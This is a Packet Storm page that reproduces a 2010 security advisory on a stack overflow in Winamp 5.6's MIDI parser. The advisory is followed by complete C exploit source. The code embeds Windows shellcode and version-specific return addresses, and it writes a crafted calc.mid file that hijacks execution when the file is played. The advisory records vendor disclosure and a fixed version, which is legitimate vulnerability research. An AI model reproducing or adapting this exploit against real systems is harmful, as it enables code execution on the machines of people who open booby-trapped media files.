what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Winamp 5.6 Arbitrary Code Execution In MIDI Parser

Winamp 5.6 Arbitrary Code Execution In MIDI Parser
Posted Dec 7, 2010
Authored by Morten Shearman Kirkegaard, Peter Wilhelmsen | Site kryptoslogic.com

Winamp versions 5.6 and 5.5.81 suffer from an arbitrary code execution vulnerability in their MIDI parser.

tags | exploit, arbitrary, code execution
SHA-256 | 6f22772bf5ad2a66e10ae1f6c6493f376514c549ca7824e2f1f3c68d4d85234c

Winamp 5.6 Arbitrary Code Execution In MIDI Parser

Change Mirror Download
http://www.kryptoslogic.com/advisories/2010/kryptoslogic-winamp-midi.txt

==-===-=====-=======-===========-=============-=================

Winamp 5.6 Arbitrary Code Execution in MIDI Parser

Kryptos Logic, December 2010

==-===-=====-=======-===========-=============-=================

=====[ Timeline

Vendor Contacted...........: 2010-12-03
Proposed Fix from Vendor...: 2010-12-04
Advisory Published.........: 2010-12-07


=====[ Affected Versions

Vulnerable:
- Winamp 5.6
- Winamp 5.581
- Possibly older versions of Winamp

Not vulnerable:
- Winamp 5.601
- Winamp 5.601 Beta build 3087


=====[ Vulnerability

When Winamp plays MUS files and other MIDI variants, it begins
by converting them to a canonical format. Timestamps in MIDI
files are encoded by serializing 32 bit integers into 1, 2, 3, 4
or 5 bytes, storing 7 data bits in each byte. The last bit is
used to indicate whether or not a given byte is the last. The
serialization is done into an 8 byte buffer, which should be
large enough, but there is a logic bug in the code which allows
an attacker to write one byte outside of the buffer.

The serialization is done by shifting the input value multiples
of seven bits, until there is no more bits set. This is done
using the x86 instruction SAR. Unfortunately this instruction
does not clear the register when shifting more than the register
width, but instead shifts the requested amount modulo the
register width. By crafting an input file so that Winamp tries
to serialize a value which has the most significant bit cleared
and one of the following three bits set, an attacker can force
the program to write the value shifted 0, 7, 14, 21, 28, 3, 10,
17 and 24 bits; a total of nine output bytes. The least
significant value overflows into the saved base pointer.


=====[ Exploitation

The stack alignment of Winamp is predictable. An attacker can
choose the value to write into the saved base pointer, so that
when the base pointer is restored, the stack frame of the
calling function is moved to a location where the attacker
controls the return address.

The value must be chosen so that the calling function will not
access invalid memory addresses by using local variables in the
modified stack frame. Carefully chosen values have proved to
lead to code execution without causing any faults.


=====[ Credits

The bug was discovered by Peter Wilhelmsen, Kryptos Logic, and
an exploit was developed by Morten Shearman Kirkegaard, Kryptos
Logic.


=====[ About Kryptos Logic

Kryptos Logic is a group of talented computer security experts
from around the globe that has coalesced into a highly effective
team. New ideas and derivatives of existing products are
constantly created. We provide a wide range of security products
ranging from binary analysis tools and security research kits to
anti-piracy and digital rights management software. We also
perform state-of-the-art research on emergent attack vectors and
threats to current digital infrastructure.

http://www.kryptoslogic.com/



Exploit:

/*
* Winamp 5.6 Arbitrary Code Execution in MIDI Parser
* Copyright (C) 2010 Kryptos Logic
*
* Bug discovered by Peter Wilhelmsen.
* Exploit written by Morten Shearman Kirkegaard.
*/

/*
* When Winamp plays MUS files and other MIDI variants, it begins by
* converting them to a canonical format.
*
* IN_MIDI.DLL 0x076ED6D3
* Timestamps in MUS and MIDI are 32 bit values encoded as a series of
* bytes, with 7 bits in each byte. The most significant bit indicates
* whether or not this is the last byte. Winamp can decode any value
* without problems, but when it tries to re-encode them for the MIDI
* data, it uses the naive approach of shifting multiples of 7 bits. On
* x86 a shift of more than 31 bits does NOT result in a cleared
* register, so after shifting 0, 7, 14, 21, and 28 bits, it will shift
* 35 bits, resulting in a shift of only 3 bits. If the most significant
* bit is set, Winamp will keep shifting forever. However, if it is
* cleared, and one or more of the following three bits are set, it will
* shift 0, 7, 14, 21, 28, 3, 10, 17, 24, and 31 bits. The last shift
* will result in a fully cleared register, so only 9 output bytes are
* generated. The allocated stack buffer is 8 bytes, so the least
* significant byte will overflow into the saved EBP.
*
* IN_MIDI.DLL 0x076EE07F
* The saved EBP is restored into the register before returning to the
* main coversion function. If a value of 0x60 is written to the least
* significant byte of EBP, the function will run to the end without
* errors, but will use the sum of all timestamps encountered as its
* return address. We choose a number of timestamps which add up to the
* desired return address, and make sure that only the last timestamp
* will cause an overflow. When the function returns, a pointer to the
* input buffer is located at ESP+0x14. We return to an instruction
* sequence of ADD ESP, 0x14; RET; so the execution will continue at the
* MUS header.
*
* By choosing 0xC0 as the least significant byte of the scoreLen field,
* the header becomes executable without touching memory. We choose the
* most significant byte of scoreLen and the least significant byte of
* scoreStart to make up a JMP instruction, skipping the rest of the
* header and continuing execution in the instrument list, where the
* desired shellcode is placed. More shellcode can be placed after the
* note events in the score data, if needed.
*/

#include <inttypes.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>


unsigned char shellcode[] = {
/* http://www.shell-storm.org/shellcode/files/shellcode-662.php */
0xFC,0x31,0xD2,0xB2,0x30,0x64,0xFF,0x32,
0x5A,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,
0x72,0x28,0x31,0xC9,0xB1,0x18,0x31,0xFF,
0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,
0x20,0xC1,0xCF,0x0D,0x01,0xC7,0xE2,0xF0,
0x81,0xFF,0x5B,0xBC,0x4A,0x6A,0x8B,0x5A,
0x10,0x8B,0x12,0x75,0xDA,0x8B,0x53,0x3C,
0x01,0xDA,0xFF,0x72,0x34,0x8B,0x52,0x78,
0x01,0xDA,0x8B,0x72,0x20,0x01,0xDE,0x31,
0xC9,0x41,0xAD,0x01,0xD8,0x81,0x38,0x47,
0x65,0x74,0x50,0x75,0xF4,0x81,0x78,0x04,
0x72,0x6F,0x63,0x41,0x75,0xEB,0x81,0x78,
0x08,0x64,0x64,0x72,0x65,0x75,0xE2,0x49,
0x8B,0x72,0x24,0x01,0xDE,0x66,0x8B,0x0C,
0x4E,0x8B,0x72,0x1C,0x01,0xDE,0x8B,0x14,
0x8E,0x01,0xDA,0x52,0x68,0x78,0x65,0x63,
0x01,0xFE,0x4C,0x24,0x03,0x68,0x57,0x69,
0x6E,0x45,0x54,0x53,0xFF,0xD2,0x6A,0x00,
0x68,0x63,0x61,0x6C,0x63,0x6A,0x05,0x31,
0xC9,0x8D,0x4C,0x24,0x04,0x51,0xFF,0xD0,
0x68,0x65,0x73,0x73,0x01,0x89,0xFB,0xFE,
0x4C,0x24,0x03,0x68,0x50,0x72,0x6F,0x63,
0x68,0x45,0x78,0x69,0x74,0x54,0xFF,0x74,
0x24,0x24,0xFF,0x54,0x24,0x24,0x57,0xFF,
0xD0
};



void append_time(unsigned char **p, uint32_t t)
{
int bytes;

if ((t >> 28)) {
bytes = 5;
} else if ((t >> 21)) {
bytes = 4;
} else if ((t >> 14)) {
bytes = 3;
} else if ((t >> 7)) {
bytes = 2;
} else {
bytes = 1;
}

switch (bytes) {
case 5: *((*p)++) = 0x80 | ((t >> 28) & 0x7F);
case 4: *((*p)++) = 0x80 | ((t >> 21) & 0x7F);
case 3: *((*p)++) = 0x80 | ((t >> 14) & 0x7F);
case 2: *((*p)++) = 0x80 | ((t >> 7) & 0x7F);
case 1: *((*p)++) = 0x00 | ( t & 0x7F);
}
}



void append_note_event(unsigned char **p, uint32_t t)
{
*((*p)++) = (1 << 7 /* last = true */)
| (1 << 4 /* type = play note */)
| (0 << 0 /* chan = 0 */);
*((*p)++) = (0 << 7 /* vol = false */)
| (0 << 0 /* note */);
append_time(p, t);
}



int main(void)
{
struct {
char magic[4];
uint16_t scoreLen;
uint16_t scoreStart;
uint16_t channels;
uint16_t sec_channels;
uint16_t instrCnt;
uint16_t dummy;
uint16_t instruments[100]; /* enough for shellcode and for a good scoreStart value */
unsigned char score[1024];
} __attribute__((packed)) x;
unsigned char *p;
uint32_t ret =
//0x0041E092 /* winamp.exe 5.581 */
0x0041E22C /* winamp.exe 5.6 */
;
uint8_t ebp =
//0x70 /* 5.581, Windows 7 */
//0x48 /* 5.581, Windows XP */
//0x54 /* 5.60, Windows 7 */
0x60 /* 5.60, Windows XP */
;
int fd;

memset(&x, 'A', sizeof(x));

x.magic[0] = 'M'; /* 4D DEC EBP */
x.magic[1] = 'U'; /* 55 PUSH EBP */
x.magic[2] = 'S'; /* 53 PUSH EBX */
x.magic[3] = 0x1A; /* 1A C0 SBB AL,AL */
x.scoreLen = 0xEBC0; /* EB 09 JMP +9 */
x.scoreStart = 0x0109; /* must be >= 16+instrCnt*2 && < 16+instrCnt*4 */
x.channels = 1;
x.sec_channels = 0;
x.instrCnt = sizeof(x.instruments) / sizeof(*x.instruments);
x.dummy = 0;
memcpy((void *)x.instruments, shellcode, sizeof(shellcode));

p = (unsigned char *)x.score;

ret -= 0x10000000 + ebp; /* for the final overflow */
while (ret >= 0x10000000) {
append_note_event(&p, 0x0FFFFFFF);
ret -= 0x0FFFFFFF;
}
append_note_event(&p, ret);
append_note_event(&p, 0x10000000 + ebp);
append_note_event(&p, 0);

if ((fd = open("calc.mid", O_WRONLY|O_CREAT, 0644)) == -1) {
perror("open(calc.mid) failed");
return EXIT_FAILURE;
}
if ((write(fd, &x, sizeof(x))) != sizeof(x)) {
perror("truncated write");
return EXIT_FAILURE;
}
close(fd);

return EXIT_SUCCESS;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close